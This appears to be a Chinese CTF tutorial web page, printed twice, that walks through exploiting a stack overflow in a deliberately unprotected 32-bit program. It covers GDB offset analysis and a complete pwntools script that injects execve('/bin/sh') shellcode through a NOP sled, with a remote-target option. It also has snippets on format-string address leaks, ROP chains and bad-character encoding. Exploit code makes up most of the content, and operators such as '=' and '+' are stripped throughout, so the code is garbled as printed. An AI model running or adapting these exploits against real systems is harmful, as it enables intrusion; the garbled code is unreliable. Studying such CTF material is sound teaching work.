从Pwn到实战用GDB和Python一步步复现CTF中的经典栈溢出漏洞在网络安全竞赛的战场上栈溢出始终是最具代表性的漏洞类型之一。它不仅考验着选手对程序内存布局的理解更是二进制漏洞利用的基石。本文将带您深入一个典型栈溢出漏洞的完整利用过程从动态调试到脚本编写最终实现稳定的远程控制。1. 环境准备与漏洞程序分析首先需要准备一个带有栈溢出漏洞的演示程序。这里我们使用一个故意去除保护机制的32位ELF可执行文件vuln_programchecksec --file vuln_program输出结果应显示Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)这个简单的C程序包含一个典型的gets函数漏洞#include stdio.h void vulnerable_function() { char buffer[64]; gets(buffer); } int main() { vulnerable_function(); return 0; }编译时需关闭现代保护机制gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln_program2. GDB动态调试与内存布局分析启动GDB并设置调试环境gdb -q vuln_program (gdb) set disassembly-flavor intel (gdb) break *vulnerable_function运行程序并在断点处停止后查看关键寄存器状态(gdb) info registers eax 0xffffd3dc -11300 esp 0xffffd360 0xffffd360 ebp 0xffffd3c8 0xffffd3c8通过反汇编确定缓冲区到返回地址的偏移(gdb) disassemble vulnerable_function Dump of assembler code for function vulnerable_function: 0x08049172 0: push ebp 0x08049173 1: mov ebp,esp 0x08049175 3: sub esp,0x48 0x08049178 6: lea eax,[ebp-0x48] 0x0804917b 9: push eax 0x0804917c 10: call 0x8049030 getsplt 0x08049181 15: add esp,0x4 0x08049184 18: nop 0x08049185 19: leave 0x08049186 20: ret计算得出缓冲区起始地址ebp-0x48 (72字节)保存的ebp占4字节返回地址位于ebp4因此总偏移量为72 4 76字节3. 漏洞利用策略设计针对这个漏洞我们采用经典的shellcode注入方案确定跳转地址通过NOP sled增加命中概率构造payload结构76字节填充数据4字节覆盖返回地址100字节NOP指令30字节shellcode关键shellcode采用经典的execve(/bin/sh)shellcode ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50 b\x53\x89\xe1\xb0\x0b\xcd\x80 )4. Python Exploit脚本开发完整的漏洞利用脚本如下#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) # 本地调试模式 p process(./vuln_program) # 远程模式p remote(target_ip, port) # 获取崩溃点偏移 offset 76 # 确定跳转地址 jmp_addr p32(0xffffd3dc 30) # 缓冲区地址 安全偏移 # 构造payload nop_sled b\x90 * 100 shellcode ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50 b\x53\x89\xe1\xb0\x0b\xcd\x80 ) payload flat([ bA * offset, jmp_addr, nop_sled, shellcode ]) # 发送payload并获取交互 p.sendline(payload) p.interactive()5. 高级利用技巧与稳定性优化实际CTF比赛中还需要考虑以下增强措施地址随机化应对通过信息泄露获取实际地址使用部分覆盖技术绕过ASLR# 地址泄露示例 p.sendline(b%p.%p.%p) leak p.recvline().split(b.) libc_base int(leak[1], 16) - 0x1b0000 system_addr libc_base 0x3ada0ROP链构造 当NX保护开启时需要转向ROP攻击rop ROP(./vuln_program) rop.call(system, [next(rop.search(b/bin/sh))]) payload flat([ bA*offset, rop.chain() ])坏字符处理 通过迭代测试识别并避免特殊字符badchars b\x00\x0a\x0d\x20 # 使用编码器处理shellcode encoder pwnlib.encoders.encoder.alphanumeric(shellcode, badchars)6. 实战调试技巧与常见问题解决在漏洞利用过程中以下几个GDB命令特别实用检查内存映射(gdb) info proc mappings观察栈状态变化(gdb) x/40wx $esp跟踪系统调用(gdb) catch syscall execve常见问题解决方案问题现象可能原因解决方法SIGSEGV崩溃跳转地址错误使用GDB确认缓冲区地址无shell弹出环境变量问题使用绝对路径/bin/sh部分字符被过滤输入验证编码shellcode或调整payload7. 从CTF到真实世界的思考虽然这个案例是人为设计的漏洞但其中体现的原理在现实漏洞利用中依然适用。现代系统防护措施如ASLR、NX、Stack Canary等增加了利用难度但理解基础栈溢出机制仍然是二进制安全的必修课。
从Pwn到实战:用GDB和Python一步步复现CTF中的经典栈溢出漏洞
发布时间:2026/6/3 13:05:56
从Pwn到实战用GDB和Python一步步复现CTF中的经典栈溢出漏洞在网络安全竞赛的战场上栈溢出始终是最具代表性的漏洞类型之一。它不仅考验着选手对程序内存布局的理解更是二进制漏洞利用的基石。本文将带您深入一个典型栈溢出漏洞的完整利用过程从动态调试到脚本编写最终实现稳定的远程控制。1. 环境准备与漏洞程序分析首先需要准备一个带有栈溢出漏洞的演示程序。这里我们使用一个故意去除保护机制的32位ELF可执行文件vuln_programchecksec --file vuln_program输出结果应显示Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)这个简单的C程序包含一个典型的gets函数漏洞#include stdio.h void vulnerable_function() { char buffer[64]; gets(buffer); } int main() { vulnerable_function(); return 0; }编译时需关闭现代保护机制gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln_program2. GDB动态调试与内存布局分析启动GDB并设置调试环境gdb -q vuln_program (gdb) set disassembly-flavor intel (gdb) break *vulnerable_function运行程序并在断点处停止后查看关键寄存器状态(gdb) info registers eax 0xffffd3dc -11300 esp 0xffffd360 0xffffd360 ebp 0xffffd3c8 0xffffd3c8通过反汇编确定缓冲区到返回地址的偏移(gdb) disassemble vulnerable_function Dump of assembler code for function vulnerable_function: 0x08049172 0: push ebp 0x08049173 1: mov ebp,esp 0x08049175 3: sub esp,0x48 0x08049178 6: lea eax,[ebp-0x48] 0x0804917b 9: push eax 0x0804917c 10: call 0x8049030 getsplt 0x08049181 15: add esp,0x4 0x08049184 18: nop 0x08049185 19: leave 0x08049186 20: ret计算得出缓冲区起始地址ebp-0x48 (72字节)保存的ebp占4字节返回地址位于ebp4因此总偏移量为72 4 76字节3. 漏洞利用策略设计针对这个漏洞我们采用经典的shellcode注入方案确定跳转地址通过NOP sled增加命中概率构造payload结构76字节填充数据4字节覆盖返回地址100字节NOP指令30字节shellcode关键shellcode采用经典的execve(/bin/sh)shellcode ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50 b\x53\x89\xe1\xb0\x0b\xcd\x80 )4. Python Exploit脚本开发完整的漏洞利用脚本如下#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) # 本地调试模式 p process(./vuln_program) # 远程模式p remote(target_ip, port) # 获取崩溃点偏移 offset 76 # 确定跳转地址 jmp_addr p32(0xffffd3dc 30) # 缓冲区地址 安全偏移 # 构造payload nop_sled b\x90 * 100 shellcode ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50 b\x53\x89\xe1\xb0\x0b\xcd\x80 ) payload flat([ bA * offset, jmp_addr, nop_sled, shellcode ]) # 发送payload并获取交互 p.sendline(payload) p.interactive()5. 高级利用技巧与稳定性优化实际CTF比赛中还需要考虑以下增强措施地址随机化应对通过信息泄露获取实际地址使用部分覆盖技术绕过ASLR# 地址泄露示例 p.sendline(b%p.%p.%p) leak p.recvline().split(b.) libc_base int(leak[1], 16) - 0x1b0000 system_addr libc_base 0x3ada0ROP链构造 当NX保护开启时需要转向ROP攻击rop ROP(./vuln_program) rop.call(system, [next(rop.search(b/bin/sh))]) payload flat([ bA*offset, rop.chain() ])坏字符处理 通过迭代测试识别并避免特殊字符badchars b\x00\x0a\x0d\x20 # 使用编码器处理shellcode encoder pwnlib.encoders.encoder.alphanumeric(shellcode, badchars)6. 实战调试技巧与常见问题解决在漏洞利用过程中以下几个GDB命令特别实用检查内存映射(gdb) info proc mappings观察栈状态变化(gdb) x/40wx $esp跟踪系统调用(gdb) catch syscall execve常见问题解决方案问题现象可能原因解决方法SIGSEGV崩溃跳转地址错误使用GDB确认缓冲区地址无shell弹出环境变量问题使用绝对路径/bin/sh部分字符被过滤输入验证编码shellcode或调整payload7. 从CTF到真实世界的思考虽然这个案例是人为设计的漏洞但其中体现的原理在现实漏洞利用中依然适用。现代系统防护措施如ASLR、NX、Stack Canary等增加了利用难度但理解基础栈溢出机制仍然是二进制安全的必修课。